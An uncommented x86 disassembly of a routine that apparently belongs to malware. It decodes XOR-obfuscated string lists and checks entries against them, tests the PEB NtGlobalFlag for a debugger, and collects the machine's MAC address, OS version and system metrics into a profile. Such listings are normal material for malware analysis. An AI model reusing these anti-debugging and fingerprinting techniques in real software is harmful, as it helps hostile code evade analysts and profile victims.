mov esi, dword [ebp - 0x13d4]
xor edi, edi
lea ebx, [ebp - 0xaa8]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x407e00
inc eax
xor byte [eax], 0xc7
jne 0x407dfa
call fcn.0040813d
test eax, eax
ja 0x407e14
inc edi
sub ebx, 0xffffff80
cmp edi, 0xe
jb 0x407df3
jmp 0x407e1e
or dword [esi + 0x3fc], 0x10000000
push dword [ebp - 8]
call fcn.004080a8
pop ecx
test eax, eax
jne 0x407e5e
xor edi, edi
lea ebx, [ebp - 0x3a8]
xor byte [ebx], 0xc7
mov eax, ebx
je 0x407e40
inc eax
xor byte [eax], 0xc7
jne 0x407e3a
call fcn.0040813d
test eax, eax
ja 0x407e54
inc edi
sub ebx, 0xffffff80
cmp edi, 7
jb 0x407e33
jmp 0x407e5e
or dword [esi + 0x3fc], 0x20000000
call dword [0x459304]
test eax, eax
jne 0x407e8f
and dword [ebp - 0x13cc], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
and eax, 0x70
mov dword [ebp - 0x13cc], eax
xor eax, eax
cmp dword [ebp - 0x13cc], eax
setne al
test eax, eax
je 0x407e99
or dword [esi + 0x3fc], 0x40000000
lea eax, [esi + 0x240]
test eax, eax
je 0x407f0e
mov edi, 0x100
push edi
push 0
push eax
call fcn.0043ee90
lea eax, [ebp - 0x12a8]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x407ebd
sub eax, edx
sar eax, 1
mov ebx, eax
imul eax, eax, 6
cmp eax, edi
jge 0x407f0e
xor edi, edi
test ebx, ebx
jle 0x407f0e
lea eax, [esi + 0x240]
mov dword [ebp - 0x13cc], eax
movzx eax, word [ebp + edi*2 - 0x12a8]
push eax
push 0x461d48
push dword [ebp - 0x13cc]
call fcn.0043ca22
add dword [ebp - 0x13cc], 6
add esp, 0xc
inc edi
cmp edi, ebx
jl 0x407ee6
mov edi, dword [0x459340]
push 0x40
mov ebx, 0x1000
push ebx
push 0x288
push 0
call edi
lea ecx, [ebp - 0x13d0]
push ecx
push eax
mov dword [ebp - 8], eax
call fcn.0045486a
push 0x8000
push 0
push dword [ebp - 8]
call dword [0x45933c]
push 0x40
push ebx
push dword [ebp - 0x13d0]
push 0
call edi
mov ebx, eax
lea eax, [ebp - 0x13d0]
push eax
push ebx
call fcn.0045486a
test eax, eax
jne 0x407fca
test ebx, ebx
je 0x408004
lea esi, [ebx + 0x194]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 8]
shr eax, 8
movzx eax, al
push eax
movzx eax, byte [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
mov ecx, eax
shr ecx, 0x18
push ecx
mov ecx, eax
shr ecx, 0x10
movzx ecx, cl
push ecx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
movzx eax, al
push ecx
push eax
mov eax, dword [ebp - 0x13d4]
push 0x461d8c
add eax, 0x364
push 0x18
push eax
call fcn.0043ca9f
mov esi, dword [ebp - 0x13d4]
add esp, 0x24
jmp 0x408004
xor eax, eax
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosw word es:[edi], ax
movzx eax, byte [ebp - 7]
push eax
movzx eax, byte [ebp - 8]
push eax
movzx eax, byte [ebp - 9]
push eax
movzx eax, byte [ebp - 0xa]
push eax
movzx eax, byte [ebp - 0xb]
push eax
movzx eax, byte [ebp - 0xc]
push eax
lea eax, [esi + 0x364]
push 0x461d8c
push eax
call fcn.00409f65
add esp, 0x20
push 0x8000
push 0
push ebx
call dword [0x45933c]
mov edi, 0x114
push edi
lea eax, [ebp - 0x13c8]
push 0
push eax
call fcn.0043ee90
add esp, 0xc
lea eax, [ebp - 0x13c8]
push eax
mov dword [ebp - 0x13c8], edi
call dword [0x459318]
test eax, eax
je 0x40806d
push dword [ebp - 0x13bc]
mov eax, dword [ebp - 0x13c4]
push dword [ebp - 0x13c0]
mov dword [esi + 0x404], eax
push eax
lea eax, [esi + 0x354]
push 0x461dac
push eax
call fcn.00409f7d
add esp, 0x14
mov edi, dword [0x459510]
xor ebx, ebx
inc ebx
push ebx
call edi
push eax
push 0
call edi
push eax
lea eax, [esi + 0x340]
push 0x461db8
push eax
call fcn.00409f95
mov ecx, dword [ebp - 4]
add esp, 0x10
pop edi
mov dword [esi + 0x40c], ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.0043c573
leave
ret